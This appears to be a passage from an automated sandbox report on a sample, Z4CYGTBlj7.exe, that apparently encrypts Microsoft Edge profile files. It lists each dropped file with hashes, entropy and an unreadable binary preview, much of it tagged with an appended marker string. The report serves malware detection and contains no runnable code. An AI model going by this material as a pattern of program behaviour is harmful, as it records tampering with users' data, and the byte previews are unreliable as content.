SHA-512:	67445B9FE15C330BCB3565AF88340B6F1DD7228BA600D04BD36AD5CBD2826ABE78A4BE9568734A79798CAEB5480F2E90FF629539D8773CAC2701745526A3DD3E
Malicious:	false
Preview:	{.. }..<.L...:p2'..I...Q.7.h.[.p.X...p..O#6..T......y!....!M(/...@....?sQ.g....a........z.).....F.....~....W...$......2ct...&..`...LL.b. .x...v...O.Ai.rP}}..Z........cSH....V.@.?..............gz.UPKO..m..J&.5.H.B..7.F<..\|-.....`..ui.%F.Wb.............i...gJ......;......\|Z...PeY..<.....{...e..u..E...V.ME.......g..)B....0n.u..'..N%G/..^...T.y..b2q.+Te.F...,.{.> ..b<....b...U...3/K.m./....42.......v.>.%..O.,....TV??T.E...j.k..K6t..!2..\|.i.S....9...b...K......KSO..%.....H.....v.t...8"={.e..B.....#7..C....LR.Tv.i....6..1...^zbJ(..7i...^..(Ba....X>..k.P...~....6..#.~...#/...cW.l^Qn. ..\|.Q........K.xa.y..GV..x.;..fT.......D)5T...q......\...Ut....~....W...hoX..Cz..]..7.{.b./+gg..h7$p......-h.....F.I .}.z.....N...z>..f..z<J......zI.;.(._.v......A.r......1=..h.[.&.1=$B..T.5.\...t.O..v.Zg0..]..p...(.'..hc.......t..1...gW3.0......l..S."l-e.m...[1......~V........4.v%...........`0......1.Vg.../Y......~%A>.....8...j.7.U..zcQn.T.3.`...R*+...G.X..S..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	218058
Entropy (8bit):	7.08108647786947
Encrypted:	false
SSDEEP:	3072:JbZlAlsx5ZWHovayEAk82cgZ2KFEtPoX82fNXu01B7/qosh8MiCjJC1qsJdiFG1g:9igWHovayo/FE+s2As/qmMF+diFG1Irt
MD5:	76CB26C8B331399EFF57F82BF53FBE33
SHA1:	A26E379911B747CD61F9EC398D8913FFC02B6A9C
SHA-256:	520CAD67F6E568560C2477AFCE7A9CFD67E3C46563BBAA37C560E2B23C72FF43
SHA-512:	A1E04479F09FC0936576F80749F2E78D2A53258037D3F1A62A9B381B6CBC97A8257B678B8BF3A760F67AFA5C438E40E435B9082EC0E8C8FA2C1D296E177E369D
Malicious:	false
Preview:	{. ..^....y..tW...^/.....@\|h...r...I].C.~.[.G..U.Tk...O..D4.P..Z:.........[..;.).=}L......'...).:(2.,&..5.......F.dV...........4.j..m`y....../..hAqY.'.a%.\|I7..6.. .7D.v...4RE.......E.~.Uve.6..dY....5f...x..=...$....x...(~.N...W..`.....BP.}...N.../....ol.....RH....v[;...........tZW..J'..'..t..Z..D`.....m...L..,{.{..Ld._D...%.S..e6R$.{\.h.,78Z.."..w.I`.-.........._.D.c...{.}..S..T..5B.T~.'52.o.....iDh.......K._1.T>.D.....#.....u.......>,..1FL6h.s..8..#...6.\|$.y..._).(...j..3....."A...LabeE.T...CuB@}.....EY..~..X...H......M...>F....M...U.JIRW.1@6tA."..n.]F.....f.a^.%$.......0......3...... ^..-Qb..nl.&Rf..\...c....@..>w.!..+...@4M.;~WEj..q.^<l......8u#......*;.xM..cL..:.yo..F.5b...'..Z.........s....Q.w4.1...e.5.....O.-..S....D8.._...6...i...4..t-..Ul.d#..W...."M._..;Zz.....g-.7.9....%v..W......j........w..l.\|...0.......5ea.4.O..:Kr Q/..RS..%.U.....rMt...}db.~..)....!..e>E.1Y..H.GBK..+....ig....._.}...R...^e.8....~#Q.n..C^.\'+1....{.sR.Z+....-..,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_global_block_list.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4729
Entropy (8bit):	7.960410263924747
Encrypted:	false
SSDEEP:	96:FYXCIfbglxnGvn65CnGuxKg+OaDRAoiatmxZ3AbdZyhLm+:FgRbgcn65CnGuIOERHiTxNAxZ+q+
MD5:	597FCFBDBCE3FCA7D4C136D150A8DDA6
SHA1:	5F6434C50A064C62C5FE4AB71F4105C4D15EB5E9
SHA-256:	447C7BE78494BF64302EB4DEFEF73859EE8217106F2EF8BA0894567E526CFBE4
SHA-512:	115746613B2DAA55FACC9BA4495D13630F046587A7377807AED370B2291FBFA60C4FDBD7A437618459E96DE4B868CDA554361FFED4636672B8D36ADE2DB6E6B4
Malicious:	false
Preview:	{.."gA.Fx......m.a.:.G...uES..T_.n.#..%.....2.O.\.....Q..\|...{s..Dl6....CVU.8g6.DP.{Kx..m(\|..my.P.[..@...T..}.`.....#..W9....E...[M."I8y.nXg.P...S.V...Ul....~U;.0.(.e...{..>Z.d}..-#8..S..z..f.A.7..}...&.7.a...4.....D......`y..Ss..E.Mz..B....O.1H..7......A....<.g.a9.e._%..\|!.R.....q.....z.3..=.cd.....Z;Jb.Jo.L/WZ... ..4J..?..b..v...)....o.VJ..UD{..4.o.R...=..4......FR...>...<.....TkQ....9........z.u.()pW.^%.R....Q.[..G.[gAoi..O...Y=.M]\..a.R..X.....6\|.tyy.Z....N:...?..... .gvG.I.....0...W.....Netc.:..E.8v....JN...E.....Q......[n%bK..k"..Hw.b".T..-......@-.c...i...{.O.NA....i....@...R.5...=yD...v...&.....5..T..."........F.e.T.)...m..-E....OE\|w.8..xp.zI......<.{..7......G....e..u..&@.yNh....L..y.8...y..u.p...{.X%\._:..#...,B...r..R.5.<XT..y..5..uSl1,......>c.ONo..N.>f..}.v.....4.cy...L..].....<...7...F.".....9.#hR.....;_e..g7e.AB..%......h~.*V...e.......K..Ooa...z..aCj.....HK.....$..T....k.bS.Q.Mz..z.1........y;...V.b..K....T.V.k.@..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.358803979944233
Encrypted:	false
SSDEEP:	12:kx52A2U9Mrg3TuxVYl5JFnW/GrDAANp/yUQscii9a:kx522urg3iVGeGrDA8pQsbD
MD5:	53493064950C3689EA6FFDA7C8755053
SHA1:	661BBFF123BB9A02E1A5F0B5A9D3150EA92A9F23
SHA-256:	3E672F82840C437A2A2255707DA49E118DDD06D166A307BB1D7D94EB75191ED3
SHA-512:	A3D2F9E28DAF4B198F5302B6064E096D92C2C53999D5AB4B4218FAE213A9F6E0E99B655C14389E8E4C9586B475B054E3826953086F2E7991A899D6A61FA939C8
Malicious:	false
Preview:	1.1ED.:/...LQ9..&...t(.B.......-.+...`jy.r....".>...Kv\|~..i.8.D.x.H..F^.yp\|...)..8...j..9E)g0I..,....9...q.6...D.M@_...-G.#...0lf..2 ..<r...7"...\|.R..>....h\...F.fgn]..,.....V/\|...c.N_q.<p5A<{...Z#...#.&..".J..9.d}.W..4g.^._......\...W..d<i\|fc.K.......X....o....GS...,....^/..K!.w.X$.O.Z+.}.r.Yy.... l ....[{N8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.408079809219162
Encrypted:	false
SSDEEP:	12:McaLuRsekLkHuTrtEEzAjFVBt2k0C/suQscii9a:McaLuRseSkHuTrtEEE5Vb2kBKsbD
MD5:	9FB57B2A187D091581B5F9F5D7BE6959
SHA1:	CFD135016528FAF018E3582772DCA7C3ABDC18A6
SHA-256:	BC20DA691563F04BF7F5D1004173442FBB6301FFF68B9637ABC4A86A5FBA6B6A
SHA-512:	50D3E7018BD2BE56663A1C66B924A26B65F555C4994C54565E0C7895142B7D1649706030E39FC4B71DD51A3770907F4DE88DB7D94EC54F93D552FEA04622BA2A
Malicious:	false
Preview:	.{.[.].D.....sWA.*..0...(...g.=../..$.v..7..I}.m..g.;....R.,..H#g.........m..+........=.n.YE\|1...Ar.g..?...-o......q..1.1....Y1.m..:i....5s.......v.Q....b..g...m.#....w.n..+>:..Y"c_9Q.:X........{H.+1...8.m.5#v..$..{....G.#) ...>......./.Q..%..........\..G....X.....}...#....x.~GC.-.o..7.$...FYv9c....D....iV........@.#K--z..tY..........d.!F..+.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\regex_patterns.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	534
Entropy (8bit):	7.566552102634083
Encrypted:	false
SSDEEP:	12:EAIzd0mdBO2HOr3JB5Wt9HiO6whrfvkEW/F2Qscii9a:EAIzdrdBO2ur3JBYtgO9rnk7sbD
MD5:	5F8AAC123C1666BD1CB2CE4794F26F56
SHA1:	BAF01DE1DDB0A48922AE2EC61D5DA1A59906A059
SHA-256:	2A23FC08E66CCABCEF0D8AFE0181F1484E60A3EEFF23D072BFA6E778D98BC9B8
SHA-512:	FF4A629480B8B70F6B1835758096553F36A1DBA13CB5F18227FA10E19C18DC92AF2AFF8FDE26434321A1426FAA4F87BA72629E3F2D9D1AC706BD75B25D34ACC2
Malicious:	false
Preview:	{. "U..bl.c.-gjA.4.......">,...\|&._x."F..H.Y..z.gPp...L.M.v...l.+. V..4F.-.j..F`.R=..!Uw..&O.........%.......R.Q@q..B..p....V.v..S..;R....`PJ.....;i.9S.U9ru...N....R.....f......:zW....>..h%2..i.i f.,...."..8V..-.Et...t.]..pV8......o.v&.g.'.s...hA9.ly.{.F..1.qj......J.....p-.....8.$...U.(.\|......a..:F]..}.....k+.....j.M..b.s..%.k).U.M.}..j@.iK.....Xi.da......sx.H1..x!.>..$...L.l....-d......W......inys...).8..*D.\|#F9e+1T5.v..m..[a8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	520142
Entropy (8bit):	6.0270520821203135
Encrypted:	false
SSDEEP:	3072:Hfvq7OSLzdUdH3iYvZ5JGbjystJ4mbaHoihgyQiNMYTPciFCiytm:HfWOKQ75sjdfeIiq6MYDFC6
MD5:	326278CB8CEBA208CFDD898810F71812
SHA1:	C552EB4D0530ECD678211AFDBA180351292B93DD
SHA-256:	0AC6E95BCF127587F4BC5B471E9075980E79ED642B25D594120DCCC0DBAB3DD9
SHA-512:	6B56CEE36BA0A69A61A607A69BE769933A2318400A30465465E03322D833D9733990E432848E30CDE7F7CCAB1AA3DCC4B70EA910CE47570CF71536A033E1C06F
Malicious:	false
Preview:	{. "_S.....W>.g...x)._H<s.!`.~.(.@..}=.g.4.V.3..\J$.o.O......VY..`..c.....D_.>.`./..@xR?.....:4F.D..#,.nEH\|..d4.....1.v.x(.A.!.mT.R..7^N.z.u:..%....Z....-....;J..[...']..zB..&~G3..5.25ti.Q&..b...4....9........d...<.^..he,......p.8C....]Huf....R.#....s...#.Y.....J...V..k.&#.....p.$.E>@I6R...HC...t....qG%%....~....K..y..c.E+.f.nk....F.K.ey...U.....+...Ya....ES^..D......<a.F.6.............._U.M.G..t....).......9.~..i.x..h%.Y..\|:.X..o ..5..b...KRL.mD.d.r.=+..V47C.^...R.9..v.. ..$D.ZI...C\}..r.J.F."ob..`...:.../.@i..0..b../..A..;...\{.p..^..M...~...@.d.9Z....7U.Y..T...d0eY...:..B.\../..]......N....82..8..8B.uDFD^..H."u....).g..+8.Kix..7R^..A.=.S.d.D...vh.u.5.....8w....&D.....:..>Rs..)@e....aX.m.a..^..:.q.....'y.4"f...z....g...k.n....i%]1..........>=ed.......N..>.......*..M............gs......@..I...3x. ../...Oa.....F...%...Q..su.s@qHG'5...!FC...l.q%...e..Tc.m.......\|.w..`.^...n..V...I.8:..y.I.<^5}.6..Rko.<./.....[......p,......X5.lV.(....q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185200666616976
Encrypted:	false
SSDEEP:	3072:8yQb/fSBvTH5cnB6E6mycKGOqXxK9n3Um7sw3ZEMo+OmrLEbsLBfE:8NTfSVG567c7KBkmV3ZEMonZQ18
MD5:	06A18977E25BF0F8542C672CBB629AC9
SHA1:	A2EC8761764E8498BC94E54C1A441D8E0CFE4524
SHA-256:	754DF4E61DFA50F079099CD9248A1B0981BF6A0C9532BF5150EB81229FCBE791
SHA-512:	A8A8ADA854AF8D4740D7775DAF887C6945D8E4E8816F5276CA484CE135A8EDF6BDACA466503053F687053B59B1B1E467C3DD875351A491CF93F8D98A0DB3C616
Malicious:	false
Preview:	.......Mnt.T..:.F.....9y..K..p.........Uy.w.w7...w8.....m........./.c.z4.G.\........n(....\..h...)w..+H........\..zG.=.1...gP^b;.!....'.j.B)...D.y.,.=..PAA..{.4.l.g......3..I.+.....q..2.G.n.@%TT....'GC..\|.....n,........%d......,..5.~.i,....W;.....>..v".]4.#...fX.s..z.l...K.PF.9.p....;.].&i.G...2B/.R8.fG.?h$.....Z.....c....Q-.g.?3.D"..........P..F......T.c.Wm..............6.R...TL.....>..#9...Gc.-.\.uzhO0.T.#.s.N....#.L..b.B..'.a..Q...B.......2..l0L.~.O.z.x..BnV..rG.....D.>.8,......S.....4.o.acBu...X$30..X..S.....?....Z..ZJ.....ht.....[fS:.;.`.h'TP...f.i.."\|.I.(.[..H$......_.....yK.-.Z..X......U..M....d.e...K.3qc(....H;I...#..../..t...^2...YP..V..P,..e/.Nu.9.n..=....4.EiV.n...^.........LBeO.?.j.\n...=..Y..->..gN.V..@.5...m`.._O.xl.p..C}..I....c.{....AM..s.:.ar.........l..R.W.Hv....,..D...v...o5..K.H.X2.S.?dG.3v.~..A'...%..,D^<1..B.s7..T&cj.2...e>.m.^...)...vz.o....pq...1.^.B.....z..[..yTK.1=..ij..:J.h..q.o...&.].p.....SD.x.N$8}..D.Y....s....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.328177286756576
Encrypted:	false
SSDEEP:	12:J76vgChw6NR4a306mKYh25aZEiEQscii9a:JuICh4s0xKW2pisbD
MD5:	6676214E7A3E763DCDE3E48D61958089
SHA1:	D6C019A6233DBA54D4DE48433E8D32DCB5C452C5
SHA-256:	D32D0C238E28E8C6A95B085CC6FAEF582BFD0E480AE64D7872954A758204FA0D
SHA-512:	415AF1F65E57A8E741770BCFD5DB77038FE09E89A5367A15CD1080AEC478F7AA19A5567CB6BDDB84BEFDDACD8DA2BC3D8491FC11187008E6B25034644A12FA65
Malicious:	false
Preview:	1.44C..2.(\...-.}..tv.J"...wYh5..>HG.F....qo...}%..MhA...+....@}<Y..!......f\..cz.DFI.....B.b..B..R.Q...g.{..4.....-'Xiid....&z.,.;.............1.2.{.R.A.....h.N9.P.&......_.k-Ou.a..a....]..>E=...>1jT.....iJ..K....3..%.....}&...i8=:.[.~N.......C...^5W.Z..T...l..BL...Z94..{;n.{.\|Ta..%D7.X.3..R.^..\T...s..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.465098661043451
Encrypted:	false
SSDEEP:	12:d/123h0m+z6+449RXmKzP1DTEUQscii9a:d/E3h0e+44HXmKzPhmsbD
MD5:	3C83EFB59EF4FC343199F9FD660722EA
SHA1:	AE405C4C33BC20AC00D3BB0A3E42676E7A603AFB
SHA-256:	D6322F1B0D8C288107B46644D3ED5A5E22305179473509537C24CC3A53C41358
SHA-512:	520C927102F28537F1FAD1BFF8524BD1B3DB19E163B5C24CD49E4833F8DE7672CECEAFBCA3B2C91DA79172ACD769576861F62004E683F1D03E94EF5F08DCECFE
Malicious:	false
Preview:	{.. ....[$).j..4.. Y}..`U./...lG....o.y..Z\|....B..z...:..g.\|..=.....\|....6.K.,.^BC.'..).._..&.F.j.dB.....hi..xU....6.}...j=..L3.I.A..n.)..iU.....L....kuS$<.o......?....SAA..E@c....T.\|..&.O...w\|....q......{...w..,%......3b..h.0K.L..i...Ra}....'.$S........{.'5..3.u.2.....:.^R.F.'t......b(.,..Q..2..Z. t.......VBE.cNZ.$....A.r...x...NR..E..pX:.'..z.~8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994182775348271
Encrypted:	true
SSDEEP:	768:xP2KU6ZtEQDKmusR49Msjcb2tL1ZoaMD/YmFRUuSS62:p2Ny/WsiOsjcitL1SRL7R
MD5:	FD77C18E817FF625B7F195DEC26C2F32
SHA1:	2E5EB82EB7F9DEB28ACB676C613BFC4E7F0B4AF6
SHA-256:	CF56702D8C9B430A5DD80CAA12C7A88451BA5BEBC2577379FB0E30275AC52A7B
SHA-512:	E48960C5E16394728E1C7BEDC55E6AEC2E2AC2E49053FDAFD94BABBFDF3AC01225C5D6B96869BDEBF4E6CD43086996A714815778A9021FE2D0DFC46CF811B45B
Malicious:	true
Preview:	SQLit<.I....~.-.6...;.f...#...,......k.v.A.Br.6...U.s..c8...7#D..Lq-r.dMf..s..l. +..U..nm>]....A@..5~...{2..>...c7u?{..W.9.$}z...EI@[..S.-...VF...d.DPi.=....F..i..l.2.F.......wB..[.F.=Z.>..<..mW..rv.r}%.T....&~.#".U...3?L..:.`W.<h...A........C../...'Wa....5..!d.7....N.~..m..Si.Y.P...$..........#.ID....w.T..Pq.!j.....t.............F. .....#...F..yx.1.Uux..^...\..B?.[w..e8<.^i.).4.....~...r.e.c....{._.U...@#{..4..@.mq.......k)..y..-...+.(.\J....0......e.m^$.6y.Kp.....1..'....(X.up..v3.[.yG.J.5.....^.mx.......&4\|!:kD.>.@D.m.fe....).....s1(..;.f\.~i...9..^... <!.yF....E-...:T".vc.a...>....z<..#u..2T.UL..B.j....../.(.j."...r...$?KS+.&.g..cN^......P..,gV(.R..fb.B.3..$.....:..:Ht....U?.m...Y..:R/.T2#F{%.i.k&....OE.18..?.....y./...7{.'...t.../.V..R_.0I......M..#G7.Z...)..e..Y..Z.>~..c.xz....8wK.t..Y.#.3.....k.,9.e...h7`...0...b..=.!.f...[.H+.s..`B\|.x....?qv..B...k...l#.o..x...m(.N..W..;.EX.....I.%.?...O-q....d....I.5.pg..B..c.5.... g..P..q.z\~

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.99142274488283
Encrypted:	true
SSDEEP:	384:n+8x9taZvB0+s960UX9gt3QrLcTenvv5xOru1zWRIJKtWsl2sU:ncZvO+rJtgt3E4mFkRIJDsl2sU
MD5:	C8499A8F09BB4BA1A33B8CBA3413A79A
SHA1:	7B7717F1F070361DF92287187EDA3D2C6813590C
SHA-256:	F1B837151013A463B7C34BB451866DDACC69A53CA0A6D65C26823042AEE6D488
SHA-512:	B4C928A0C663D2631A0B82172AA11743241845321FB919A1F2B8756831C0EA586FE18E30A5AF667EC022E54224D533B9233556DDAB73EDF9B47C8E8401AFD757
Malicious:	true
Preview:	SQLit.u.n..H`d.G.+M.....k.b...s..k..t..7a.)KS.<C."....Z..;_.q.?.;tU=..A.)+...]....+.W.e..,.4M..yg.2......Q...PP.J.,sF..BD.G........K6..;....5.mkX.U.K... ".2....z.....Hz.7F.......,..._?.k...;....9...#Tr6.X.F.>....5.....k.d!q8B....Q!...O.{.t.............2..l...S...yx).E.!.r$.>.n......ZF.4[U...I9.g}MC.R.3..h.....(.O.dbf.xr0u....W...v...0..J.9....9y..#..f..r3N..s.D...s......j8...{i......T.Pc.a\.W..E...q_.;@IO`...L7.Z.X.Q/.o3.Z....[.U..!{..R.".Au...y.[...'....T.%..J.".."..CZ<GH..x...q.s.......-.. &.w^...T.4..<...{.....$........B^..v..`....~....8...Tv(E.Y...{e..b..Ib..bI..;k......b.b..[..,%F.....w.;..................w'I..b...:.Fex.X..`".&..q.\7..E.1h=H....-....1..<j....*h.......}#....i..<.qZ.~C..az0...;bB..{.....%f.<.......4.h..K........s.[.........2.y.5l.#B..-D.ln\|..V!e.7"[<4.Tw.....A...8..{]\|.@...)...i.O.].n1.tV.O.....e.5.....\|..{.w...g..:...VZl..U(F.@,..K....hQ.7l6.s.S..{t.Q.@.OP..z..M..l[..k.j..v...6u3.N;../..C....-......o..j.r(.;

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.579700446931625
Encrypted:	false
SSDEEP:	12:qVOjxoBvK+QqIgKi/tcOeQb2ADd4nlqEY5ODgtuQscii9a:2oxoFK+si/teO2ADIqEyFtsbD
MD5:	36E790013EF945FF09DA3CE77C388843
SHA1:	A3CE7E747EE4116D2D985B16CEF90E588734617A
SHA-256:	E09112BD907FEAD87184B437BAF086BDC617281D99BBB1A275235F09C3D19973
SHA-512:	E99E816D73B79A91216DBDAD5202FDF0D321927075125586776D566320BAE45CABF26AEDAB0EF8EF8BE2E15BA87B401C10A167F45738407B0AA7D87DE58B5CC7
Malicious:	false
Preview:	.f.5...F.X....t...&.........]..4.......D.A.d.W.@(....wv.1.......b.....O......i.K?..a.@zP......l..b.#b.6!t........u.q...4,.r.]@....J....r{.-......c......wn.<.o..g`.U..KC9.V..ap.H..jC.._.DRt...S....&...N.....X.WK......&....:AN.=`=Y..,....w?6..l./.....d....I".l.....X.......3D...%.\.......A......~<\`...M..9A.`..+=%[..gp4B..<N..`...wOy$.!.x.XE..c.wJ8`.X..$.X...{7+#^#/.n..{.nsn~..^T..ud.j.k....M.wa$.V.)..V ..!..v.GS2.j.p....$.......kF...9....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.659728926302831
Encrypted:	false
SSDEEP:	12:km5oVMjg4uTWh/sJxHIke7OYMbLQBHCSQksHLmi5G0fQTzNQscii9a:mig4uTWhUPYMbLQNCksiiYbnCsbD
MD5:	D419F1559BD6E013B58E1FCFABBB99F1
SHA1:	AF8FB60F73163D1929DC5CF8CC98F3D80D21E3AB
SHA-256:	DF405E728B400F79BBC562EEB8389339F01213BA4FFA3E856331DAB82EDFEB2E
SHA-512:	1A98BDDEB928B1C2874A836C0782A6E6D45091D92D5B2E2CEEF824FD95E6977D24D5072DC01CD6EAE095F70642292B7E1285CFE8CAA88D6A1E5204E6B0151628
Malicious:	false
Preview:	2023/..v......lN.{.?...C.t.=a.$Q....].....6.`..T..\..C..;.P....Z=X$8..v.....y....e3..5~.....al.N.t..j...j..hS..\[...e.z....n3..`..;+@v.;F....(z.6..Wh...#U.aY[WF..m...Q%.Q..~y&.)6._...d.....~. .t...+....i.UI.._r..3o...x....qy5...m..Q.....\|..2Vc^m...BT........~zG.r......QfC.?..f....)I.fD......I.y..}m..og.ac..A4:...V......E{.{.Gu..Y>.}M.....kh...s,....?...)....aM.G...%m.L..,....Q..X.Y.n.....s....?..d......2...GTE...r....W.C...-.F...>.,....4L.tx[..V.0]..b......x..'...}..!...(....\...9.l.1i....b%.q.3..g..XH.z.6fn8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.544276333893184
Encrypted:	false
SSDEEP:	12:qN3/MtiDAUJ52zc8SW+LwZwsgPn2bk2lHaz87Oa0CSogZyNtAuQscii9a:g0432zc7kSBP2AwHi873lgZyzAfsbD
MD5:	48BC3FB366553310583D683BB3B0B3EC
SHA1:	C13950D0495FC77E283E625A59D8D0F4DF1409DA
SHA-256:	F07B51B9E6A27985C0AF66FE6650C5EC3ADEC2143998854780911DCC3911D9BF
SHA-512:	0024D9A1D0519217897CF9F0186C2F2D78E874CF1FDB10A64DD92D0A977C4E730672C11135E9F9B91FCD9F767AC4EC0CD183183E2B33A22EC342B2AB5BE92F5C
Malicious:	false
Preview:	.f.5...R...1.k...FcB9.D."z)..t..U].qH..h.-.A.......:{....3.......%.#%=....-.6E..l..."(.@....".8..!.\_p../iL.O.cea..vSQd...iF.....X..W..y.+%..0..!.>..5VF........e..}..J.$T=p....`5...W....$&../../D#..t4..+..V...%.[F.Z.k....&;8O}....3....7..,%L...V.ma.9...1........d....WC.bTkQ'..1.`.a[........n......V...(..Zs.....NJ........3..n.R.[a...]'%;..p.#.m......Z`.J.(.T...{x}.I.1....!..-....Ysx...}.7.7$9^./+.7.}..7C,a......:.......&/..Wn.!.~..1rs..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.623725516625089
Encrypted:	false
SSDEEP:	12:kT0m/7OXOEqafZ08tvOLelJZHE2fs2ruCLc92LHiRQscii9a:IXzkOEVfZbcel7H3fduCLc9222sbD
MD5:	D5C35413F373166F30BACFE5B77CC92D
SHA1:	67FAB560B10DA0638BAAC6D61D4FBB50B3C749EF
SHA-256:	69710B9A3355FA798018E06BECFD7343EA0FCEE4CD20D69E911E167DC47B5037
SHA-512:	1C1F12FAF60DB0C80F5B18D25313141AC52517C5EC9698E27BFC4F7E7607EED121A3D54B5C2E7E1E56E6FB7EC2B883D24F8973EA1E1D539A007BC13AC20F8CA5
Malicious:	false
Preview:	2023/.....@.X......<}.IB.D.,...-..6.A.-..@....E..U^+n_>.~........$ku.b..4./D]2..B...x.l..0.Q5.J..MH5q7(<f..X...\.~^I^.2..X%i.i.Ef.d..w.]..p....2.8....F..-.Y.....4.LT\.K...>G.7=.C-T(.J...;`.p.+8....._F0K.....r.E....=.`p[.h....j..g.........A..1vjt.Pl.W..q..P...vhz.c...#.../....F=..byak...t.O.G.E+P...<)....2}.d.H.+......b...l;...FsN.Wv.T..{^.5.3..V.xX..S.C.T.q......`..6.....%.n...D.].X...Ha^.({.....s:..F.o. DA..^o`./).....'.]...........s.....[....g...)...:].l..n..L.W.....!8.,.\|......I......j:.Tg.<2.u.D..R....IT8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.776031945810633
Encrypted:	false
SSDEEP:	24:+pvXG+dN1+xnJB1xm+9o02CAXi143JbwE/A0Z988sbD:+x2IKP1xm102uy3JbwEI0Z9RmD
MD5:	93F28F16939F398DD9F477A1BB6DF4E8
SHA1:	1300F0C5E0DC24A8586FA5B9D1D626C46421C73E
SHA-256:	1D891C2A301D6C8844DCDB912AC71BB3052D09EDFD053013AF85C8F3FC0D17BA
SHA-512:	AA491018FFF6C24EEF0DC60601669E3A5CA581A58C8CC49B505F25AFB63F38274BB1EE786345A5E1A3D4BDE13A68A6B0B3F29EBCAF436220B3F50A76D996620B
Malicious:	false
